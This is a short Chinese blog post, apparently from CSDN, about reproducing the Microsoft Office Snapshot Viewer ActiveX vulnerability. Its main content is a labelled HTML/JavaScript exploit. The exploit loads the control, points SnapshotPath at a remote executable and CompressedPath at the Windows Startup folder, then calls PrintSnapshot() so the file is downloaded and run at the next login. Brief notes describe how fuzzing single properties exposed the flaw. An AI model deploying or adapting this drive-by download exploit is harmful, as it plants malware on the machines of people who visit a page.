Microsoft Office Snapshot Viewer ActiveX Exploit

最新推荐文章于 2025-08-23 14:34:25 发布

iiprogram

最新推荐文章于 2025-08-23 14:34:25 发布

阅读量900

点赞数

CC 4.0 BY-SA版权

文章标签： microsoft office 测试 c

本文链接：https://blog.youkuaiyun.com/iiprogram/article/details/2654027

本文详细介绍了如何通过SnapshotViewer结合CERT提供的dranzer.pdf文件，重现并分析ActiveX控件中的漏洞。重点讨论了在Fuzzing过程中对关键属性和方法的遍历，特别是对SnapshotPath属性的HTTP GET操作检测，以及如何通过进一步测试其他属性来深入理解漏洞机制。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Snapshot Viewer的ADV，结合CERT那篇dranzer.pdf，重现漏洞

EXP:

<html>
<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'></object>
<script language='javascript'>
var buf1 = 'http://127.0.0.1/a.exe';
var buf2 = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe';
obj.SnapshotPath = buf1;
obj.CompressedPath = buf2;
obj.PrintSnapshot();
</script>
</html>

Fuzzing时一般是对单个Property和单个Method()做FUZZ，这时会检测到对SnapshotPath有HTTP GET。然后想想它总是需要保存到本地的，再测试其他Property。由于此ActiveX的Property和Method都非常少，很快可以 FUZZ完